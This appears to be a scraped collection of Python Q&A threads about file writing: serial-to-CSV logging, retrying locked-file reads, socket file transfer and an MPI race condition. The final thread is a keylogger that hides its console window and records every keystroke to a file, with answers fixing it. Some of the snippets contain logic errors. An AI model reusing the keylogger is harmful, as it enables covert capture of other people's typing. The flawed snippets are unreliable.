I have a sensor which prints to my COM4 port. I can read from this using serial like:
import serial
ser = serial.Serial('COM4')
while True:
if ser.in_waiting > 0:
temp = ser.readline()
print(temp)
Is there an efficient way to write this to a CSV file instead of printing to the console?
The problem I'm experiencing is if I stop the script midstream then the changes to the file seem to get thrown away, even if I include a step of writing the header in before the while True loop.
import csv
import serial
ser = serial.Serial('COM4')
while true:
with open("csv-file-name.csv", 'w') as csvfile:
writer = csv.writer(csvfile, delimiter=",")
if ser.in_waiting > 0:
temp = ser.readline()
writer.writerow(temp)
Check out this page for more info.
I ended up, following Pranav Hosangadi's advice, handling the sigterm call manually as
import serial
import signal
def signal_handler(signal, frame):
global interrupted
interrupted = True
signal.signal(signal.SIGINT, signal_handler)
signal.signal(signal.SIGTERM, signal_handler)
interrupted = False
if __name__ == '__main__':
ser = serial.Serial('COM4')
with open(filename, 'w') as f:
while True:
if ser.in_waiting > 0:
temp = ser.readline()
f.write(temp)
if interrupted:
break
readline is blocking, so in_waiting is not necessary.
Instead of print, just use write to a file:
import serial
port = serial.Serial('COM4')
with open("output.csv", "w") as output:
for line in port:
output.write(line)
Related
When reading or writing CSV-files sometimes the file can´t be accessed:
The process cannot access the file because another process has locked a portion of the file
I want my code to retry the reading/writing until it works.
Here is a draft how i would make a while loop until the file could be read.
But how can i test if "READING_DID_WORK"? Is tehre a way to test if the task was successfull? Or should i just test if FILE = List?
timeout = time.time() + 120 #seconds
bool = True
while bool == True:
time.sleep(0.5) # sleep for 500 milliseconds
if time.time() > timeout:
syncresult="timeout"
break
with io.open(SlogFilePath,"r", encoding = "utf-16(LE)") as File:
FILE = File.read().splitlines()
if READING_DID_WORK:
bool = False
else:
bool = True
OUT = FILE
You don't need the extra boolean (bool is a very bad variable name anyway) and you don't need READING_DID_WORK, just rely on the OSError that will be raised.
A simple wrapper function:
import time
...
def read_file_with_retry(file_name, encoding="utf-16(LE)"):
while True:
try:
with open(file_name, encoding=encoding) as f:
file_content = f.readlines()
except OSError:
time.sleep(0.5)
else:
return file_content
To avoid a case of infinite loop, it is suggested to implement a max-retry mechanism:
import time
...
def read_file_with_retry(file_name, encoding="utf-16(LE)", max_retries=5):
retry = 0
while True:
try:
with open(file_name, encoding=encoding) as f:
file_content = f.readlines()
except OSError:
time.sleep(0.5)
retry += 1
if retry > max_retries:
raise
else:
return file_content
I was trying to make a TCP server/client in order to transfer files between the two. My code looks like this (its messy) for now. When sending a GET command I want to receive a file from the server which works but only if I ^C to close the client (the file is created but nothing is written in it until I close the client). When I send a SEND command to get a file from the server (machine running the server) it works but just because I shutdown the socket after that. I want to keep the socket connected after sending the file.
Here is the code that is used for this:
server.py
elif msg[:4] == 'file':
client_command = msg[5:9]
if client_command == 'GET ':
file_name = msg[9:]
f = open(file_name, "rb")
l = f.read(self.BUFF_SIZE)
while(l):
self.send_info(l)
l = f.read(self.BUFF_SIZE)
f.close()
elif client_command == 'SEND':
file_name = msg[10:]
f = open(file_name, "wb")
l = self.recv_info()
while(l):
f.write(l)
l = self.recv_info()
f.close()
def send_info(self, msg):
info = bytes(msg)
send = self.client_socket.sendall(info)
return send
def recv_info(self):
recv = self.client_socket.recv(self.BUFF_SIZE)
return recv
client.py
answer = input()
elif answer[:4] == 'file':
s.send(answer.encode('iso-8859-1'))
command = answer[5:9]
if command == 'GET ':
fileName = answer[9:]
f = open(fileName, 'wb')
l = s.recv(2048)
while(l):
f.write(l)
l = s.recv(2048)
f.close()
elif command == 'SEND':
fileName = answer[10:]
f = open(fileName, 'rb')
l = f.read(2048)
while (l):
s.send(l)
l = f.read(2048)
f.close()
s.shutdown(socket.SHUT_WR)
I will change the way I'm taking care of the filename and move away from slicing once I'm sure the transferring works.
I probably just don't understand how the transfer should be made but if anyone could correct my code or explain how it should be tin order to be functional. I just want to be able to send and transfer files without the socket closing (shutdown) so that I don't have to reconnect the client after every command and without having to close the client to finish transferring a file. I can add more of the code if need be.
Thanks for any help.
The problem might be the file is being buffered. If you want to enforce the file will be written right after you have received, you can use the flush method:
f = open(fileName, 'wb')
l = s.recv(2048)
while(l):
f.write(l)
l = s.recv(2048)
f.flush()
f.close()
Note: I Highly suggest you use the with statement, to ensure the file is always closed:
with open(filename, 'wb') as f:
l = s.recv(2048)
while(l):
f.write(l)
l = s.recv(2048)
f.flush()
I'm trying to collect serial data from multiple devices, timestamp and export it to a .csv file. I want to write separate modules for each device such that they return the data to the main module and all the writing to csv is done in that.
The following program writes date and time to csv but not the data returned from the device module.
import time
import csv
from threading import Thread
import fio2
def Csv_creator():
my_file = open('test_csv.csv', 'w+')
with my_file:
new_file = csv.writer(my_file)
def Timestamp():
date_now = time.strftime('%d/%m/%y')
time_now = time.strftime('%H:%M:%S')
return [date_now,time_now]
def Write_loop():
Csv_creator()
fio2.Initialize()
while True:
with open('test_csv.csv', 'a') as f:
[date_now,time_now] = Timestamp()
fio2_data = fio2.Reader()
print fio2_data
to_write = [date_now,time_now,fio2_data]
csv_file = csv.writer(f)
csv_file.writerow(to_write)
t = Thread(target=Write_loop)
t.daemon = True
t.start()
raw_input("Press any key to stop \n")
The device module is as shown below. It works fine on it's own but I have a hard time making it return the value and have it written onto the csv file.
import serial
ser = serial.Serial("COM6",
baudrate=2400,
bytesize=serial.EIGHTBITS,
parity =serial.PARITY_ODD,
timeout=1,
writeTimeout =1)
def Initialize():
global ser
try:
ser.isOpen()
print("\n Serial is open")
except:
print ("Error: serial Not Open")
def Reader():
global ser
if (ser.isOpen()):
try:
x = ser.readline().decode()
x = (x)
return x
except:
return "unable to print"
else:
return "cannot open serial port"
Rather than opening the file each time in your loop, I would suggest moving it outside:
with open('test_csv.csv', 'a') as f:
csv_file = csv.writer(f)
while True:
date_now, time_now = Timestamp()
fio2_data = fio2.Reader()
csv_file.writerow([date_now, time_now, fio2_data])
I figured it out. I had to remove some garbage letters that were associated with the decimal values. First, I change the received data to string and replaced the garbage letters. Here's how I changed it:
[date_now,time_now] = Timestamp()
fio2_data = str(fio2.Reader()).replace("\r\n","")
fio2_data = fio2_data.replace("\x000","")
write_list = [date_now,time_now,fio2_data]
I have this test code which does the following:
Write a test message to a file > Barrier > Read the test message > Assert equal > Repeat.
from __future__ import print_function
import os
from mpi4py import MPI
comm = MPI.COMM_WORLD
rank = comm.Get_rank()
loop = True
def main():
global loop
txt_write = 'buhahaha'
with open('test', 'w') as f1:
if rank == 0:
f1.write(txt_write)
f1.flush()
os.fsync(f1.fileno())
comm.barrier()
with open('test') as f2:
txt_read = f2.read()
try:
assert txt_read == txt_write
except:
print("Assertion error", txt_read, "!=", txt_write, 'rank=', rank)
loop = False
finally:
comm.barrier()
if rank == 0:
os.remove('test')
if __name__ == '__main__':
i = 0
while loop:
main()
if i % 1000 == 0 and rank == 0:
print("Iterations:", i)
i += 1
It works for a few 100 or 1000 iterations, but then at one point it reads an empty file and the assertion fails. Other answers had recommended use of flush and os.fsync, but that does not seem to help - it just makes the execution slower. Any idea how to fix this?
Maybe you can try something like this, instead:
if rank == 0:
with open('test', 'w') as f1:
f1.write(txt_write)
# as #jschultz410 correctly pointed out,
# we remove f1.flush() and f1.close()
comm.barrier()
with open('test') as f2:
txt_read = f2.read()
The code resulted in a race condition where all processes were opening the same file simultaneously. Thanks to #jschultz410 and #mko for identifying this logical error.
My solution for the code was to use a memory stream instead of a real file. Now, the open, write and read parts of the code becomes:
from io import StringIO
f1 = StringIO()
if rank == 0:
f1.write(txt_write)
f1.flush()
comm.barrier()
txt_read = f1.getvalue()
I am trying to write the key strokes I make to a new text file.
I got the following code:
import win32api
import win32console
import win32gui
import pythoncom
import pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
if event.Ascii == 5:
_exit(1)
if event.Ascii != 0 or 8:
f = open('C:\Users\Joey\Desktop\output.txt', 'w+')
buffer = f.read()
f.close()
f = open('C:\Users\Joey\Desktop\output.txt', 'w')
keylogs = chr(event.Ascii)
if event.Ascii == 13:
keylogs = '/n'
buffer += keylogs
f.write(buffer)
f.close()
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
I don't get any errors so I guess that's good. But everytime I check output.txt I see a empty text file. What is wrong with my code?
Look here for the difference between w and w+. You're overwriting the file every time with the second open for write f=open('C:\Users\Joey\Desktop\output.txt', 'w')
I'd imagine your file has just a line break in it. Try opening with just the a option to write to the end of file (EOF) every time.
if event.Ascii != 0 or event.Ascii !=8:
f=open('C:\Users\Joey\Desktop\output.txt', 'a')
keylogs=chr(event.Ascii)
if event.Ascii == 13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()
Initially, your if statement always evaluates to true, it should be:
if event.Ascii != 0 or event.Ascii !=8:
or, even better:
if event.Ascii not in [0, 1]:
Also the file open modes might not be what you want, take a look at the docs for a rundown of these.